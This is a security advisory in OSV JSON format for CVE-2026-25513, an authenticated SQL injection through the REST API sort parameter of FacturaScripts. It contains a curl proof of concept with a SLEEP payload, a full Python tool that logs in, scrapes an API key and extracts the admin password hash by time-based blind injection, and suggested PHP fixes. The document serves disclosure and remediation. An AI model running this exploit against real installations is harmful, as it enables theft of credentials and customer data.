CVE-2026-25513: Facturascripts/facturascripts SQL Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cjfx-qhwm-hf99",
  "modified" : "2026-02-04T21:57:11Z",
  "published" : "2026-02-03T18:14:43Z",
  "aliases" : [ "CVE-2026-25513" ],
  "summary" : "FacturaScripts has SQL Injection in API ORDER BY Clause",
  "details" : "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n        // If it contains parentheses, it is not escaped (VULNERABILITY!)\n        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {\n            $this->orderBy[] = $field . ' ' . $order;\n            return $this;\n        }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+' | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n  -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po 'EditApiKey\\?code=\\K\\d+' | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po 'name=\"apikey\" value=\"\\K[^\"]+' | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n  \"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n    \"\"\"Extract multireqtoken from any page\"\"\"\n    res = session.get(url)\n    match = re.search(r'name=\"multireqtoken\" value=\"([^\"]+)\"', res.text)\n    return match.group(1) if match else None\n\ndef get_api_key():\n    \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n    print(f\"[*] Logging in as {USERNAME}...\")\n    \n    # 1. Login flow\n    token = get_token(f\"{BASE_URL}/login\")\n    if not token:\n        print(\"[!] Failed to get initial CSRF token\")\n        return None\n        \n    login_data = {\n        \"fsNick\": USERNAME,\n        \"fsPassword\": PASSWORD,\n        \"action\": \"login\",\n        \"multireqtoken\": token\n    }\n    res = session.post(f\"{BASE_URL}/login\", data=login_data)\n    if \"Dashboard\" not in res.text:\n        print(\"[!] Login failed!\")\n        return None\n    print(\"[+] Login successful.\")\n\n    # 2. Retrieve API Key ID from settings\n    print(\"[*] Accessing API settings...\")\n    res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n    id_match = re.search(r'EditApiKey\\?code=(\\d+)', res.text)\n    if not id_match:\n        print(\"[!] No API keys found in system!\")\n        return None\n    \n    api_id = id_match.group(1)\n    \n    # 3. Get the actual API key string\n    print(f\"[*] Retrieving API key for ID {api_id}...\")\n    res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n    key_match = re.search(r'name=\"apikey\" value=\"([^\"]+)\"', res.text)\n    if not key_match:\n        print(\"[!] Failed to extract API key from page!\")\n        return None\n        \n    return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n    \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n    headers = {\"X-Auth-Token\": api_key}\n    params = {\n        'limit': 1,\n        f'sort[{payload}]': 'ASC'\n    }\n    start = time.time()\n    try:\n        requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n    except requests.exceptions.ReadTimeout:\n        return 10.0\n    except:\n        pass\n    return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n    \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n    extracted = \"\"\n    charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n    \n    print(f\"[*] Starting extraction for query: {query}\")\n    for i in range(1, length + 1):\n        found = False\n        for char in charset:\n            # Added BINARY to force case-sensitive comparison\n            payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))\"\n            elapsed = time_based_sqli(api_key, payload)\n            \n            if elapsed >= 2.0:\n                extracted += char\n                print(f\"[+] Found char at pos {i}: {char} -> {extracted}\")\n                found = True\n                break\n        if not found:\n            break\n    return extracted\n\ndef main():\n    print(\"=\"*60)\n    print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n    print(\"=\"*60)\n\n    # 1. Get API Key dynamically\n    api_key = get_api_key()\n    if not api_key:\n        return\n    print(f\"[+] Using API Key: {api_key}\")\n\n    # 2. Verify vulnerability\n    print(\"[*] Verifying vulnerability...\")\n    if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") >= 2.0:\n        print(\"[+] System is VULNERABLE!\")\n    else:\n        print(\"[-] System not vulnerable or API key invalid.\")\n        return\n\n    # 3. Extract Admin Password Hash\n    admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick='admin'\")\n    print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n<img width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" />\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n  - User credentials and API keys\n  - Customer PII (personal identifiable information)\n  - Financial records and transaction data\n  - Business intelligence and pricing information\n  - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n    $result = '';\n    $coma = ' ORDER BY ';\n\n    // Get valid column names from model\n    $validColumns = array_keys(static::getModelFields());\n\n    foreach ($order as $key => $value) {\n        // Validate column name against whitelist\n        if (!in_array($key, $validColumns, true)) {\n            throw new \\Exception('Invalid column name for sorting: ' . $key);\n        }\n\n        // Validate sort direction (must be ASC or DESC)\n        $value = strtoupper(trim($value));\n        if (!in_array($value, ['ASC', 'DESC'], true)) {\n            throw new \\Exception('Invalid sort direction: ' . $value);\n        }\n\n        // Escape column name\n        $safeColumn = self::$dataBase->escapeColumn($key);\n        $result .= $coma . $safeColumn . ' ' . $value;\n        $coma = ', ';\n    }\n\n    return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n    $result = '';\n    $coma = ' ORDER BY ';\n\n    foreach ($order as $key => $value) {\n        // Escape identifiers and validate direction\n        $safeColumn = self::$dataBase->escapeColumn($key);\n        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])\n            ? strtoupper($value)\n            : 'ASC';\n\n        $result .= $coma . $safeColumn . ' ' . $safeDirection;\n        $coma = ', ';\n    }\n\n    return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n    $query = self::table();\n\n    // Apply WHERE conditions\n    foreach ($where as $condition) {\n        $query->where($condition);\n    }\n\n    // Apply ORDER BY with validation\n    foreach ($order as $column => $direction) {\n        if (!array_key_exists($column, static::getModelFields())) {\n            continue; // Skip invalid columns\n        }\n        $query->orderBy($column, $direction);\n    }\n\n    return $query->offset($offset)->limit($limit)->get();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n    'max_sort_fields' => 3,  // Limit number of sort fields\n    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist\n    'default_sort' => 'id ASC',  // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "facturascripts/facturascripts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2025.81"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25513"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NeoRazorX/facturascripts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1286", "CWE-20", "CWE-89", "CWE-943" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-03T18:14:43Z",
    "nvd_published_at" : "2026-02-04T20:16:07Z"
  }
}